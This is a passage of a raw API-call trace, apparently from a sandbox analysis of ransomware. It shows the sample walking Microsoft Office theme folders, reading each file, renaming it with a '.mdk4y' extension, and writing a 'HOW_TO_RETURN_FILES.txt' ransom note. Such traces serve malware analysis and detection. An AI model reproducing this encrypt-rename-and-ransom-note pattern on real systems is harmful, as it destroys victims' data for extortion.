lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.027] AreFileApisANSI () returned 1 [0119.027] GetACP () returned 0x4e4 [0119.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INDUST", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INDUSTTN", lpUsedDefaultChar=0x37df4c) returned 6 [0119.027] AreFileApisANSI () returned 1 [0119.027] GetACP () returned 0x4e4 [0119.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\kŹ") returned 63 [0119.030] AreFileApisANSI () returned 1 [0119.030] GetACP () returned 0x4e4 [0119.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.030] AreFileApisANSI () returned 1 [0119.030] GetACP () returned 0x4e4 [0119.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.030] AreFileApisANSI () returned 1 [0119.030] GetACP () returned 0x4e4 [0119.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INDUST.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="INDUST.ELMtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 10 [0119.030] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819426000000) returned 1 [0119.031] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x184e9, lpOverlapped=0x0) returned 1 [0119.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819427600000) returned 1 [0119.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819427600000) returned 1 [0119.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.mdk4y")) returned 1 [0119.047] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.047] AreFileApisANSI () returned 1 [0119.047] GetACP () returned 0x4e4 [0119.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INDUST.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="INDUST.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0119.047] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819427800000) returned 1 [0119.048] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x225, lpOverlapped=0x0) returned 1 [0119.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819427900000) returned 1 [0119.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819427900000) returned 1 [0119.049] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.mdk4y")) returned 1 [0119.052] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.052] AreFileApisANSI () returned 1 [0119.052] GetACP () returned 0x4e4 [0119.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.052] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819428200000) returned 1 [0119.053] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x143b, lpOverlapped=0x0) returned 1 [0119.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819429400000) returned 1 [0119.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819429400000) returned 1 [0119.065] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.mdk4y")) returned 1 [0119.070] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.070] AreFileApisANSI () returned 1 [0119.070] GetACP () returned 0x4e4 [0119.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.070] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819430000000) returned 1 [0119.070] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8317, lpOverlapped=0x0) returned 1 [0119.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819431100000) returned 1 [0119.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819431100000) returned 1 [0119.081] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.mdk4y")) returned 1 [0119.082] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.082] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.082] AreFileApisANSI () returned 1 [0119.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0119.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.082] GetFileType (hFile=0x130) returned 0x1 [0119.083] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.083] AreFileApisANSI () returned 1 [0119.083] GetACP () returned 0x4e4 [0119.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IRIS", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IRISST", lpUsedDefaultChar=0x37df4c) returned 4 [0119.083] AreFileApisANSI () returned 1 [0119.083] GetACP () returned 0x4e4 [0119.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\j筰kŻ") returned 61 [0119.083] AreFileApisANSI () returned 1 [0119.083] GetACP () returned 0x4e4 [0119.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.084] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.084] AreFileApisANSI () returned 1 [0119.084] GetACP () returned 0x4e4 [0119.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.084] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.084] AreFileApisANSI () returned 1 [0119.084] GetACP () returned 0x4e4 [0119.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IRIS.ELM", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="IRIS.ELMAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 8 [0119.084] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819431400000) returned 1 [0119.084] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1015d, lpOverlapped=0x0) returned 1 [0119.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819432900000) returned 1 [0119.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819432900000) returned 1 [0119.100] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.mdk4y")) returned 1 [0119.100] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.100] AreFileApisANSI () returned 1 [0119.100] GetACP () returned 0x4e4 [0119.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IRIS.INF", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="IRIS.INF", lpUsedDefaultChar=0x37dec0) returned 8 [0119.100] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819433000000) returned 1 [0119.100] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ce, lpOverlapped=0x0) returned 1 [0119.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819433100000) returned 1 [0119.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819433100000) returned 1 [0119.101] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.mdk4y")) returned 1 [0119.102] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.102] AreFileApisANSI () returned 1 [0119.102] GetACP () returned 0x4e4 [0119.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.102] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819433300000) returned 1 [0119.103] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9ac, lpOverlapped=0x0) returned 1 [0119.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819434300000) returned 1 [0119.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819434300000) returned 1 [0119.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.mdk4y")) returned 1 [0119.115] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.115] AreFileApisANSI () returned 1 [0119.115] GetACP () returned 0x4e4 [0119.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.115] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819434500000) returned 1 [0119.115] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4c1d, lpOverlapped=0x0) returned 1 [0119.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819434600000) returned 1 [0119.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819434600000) returned 1 [0119.117] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.mdk4y")) returned 1 [0119.117] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.117] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.117] AreFileApisANSI () returned 1 [0119.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0119.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.121] GetFileType (hFile=0x130) returned 0x1 [0119.121] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.121] AreFileApisANSI () returned 1 [0119.121] GetACP () returned 0x4e4 [0119.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JOURNAL", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="JOURNALN", lpUsedDefaultChar=0x37df4c) returned 7 [0119.121] AreFileApisANSI () returned 1 [0119.121] GetACP () returned 0x4e4 [0119.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\7\r") returned 64 [0119.125] AreFileApisANSI () returned 1 [0119.125] GetACP () returned 0x4e4 [0119.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.125] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.125] AreFileApisANSI () returned 1 [0119.125] GetACP () returned 0x4e4 [0119.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.125] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.125] AreFileApisANSI () returned 1 [0119.125] GetACP () returned 0x4e4 [0119.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JOURNAL.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="JOURNAL.ELMefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.125] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819435600000) returned 1 [0119.126] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xba32, lpOverlapped=0x0) returned 1 [0119.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819437200000) returned 1 [0119.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819437200000) returned 1 [0119.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.mdk4y")) returned 1 [0119.144] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.144] AreFileApisANSI () returned 1 [0119.144] GetACP () returned 0x4e4 [0119.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JOURNAL.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="JOURNAL.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0119.144] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819437400000) returned 1 [0119.144] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f3, 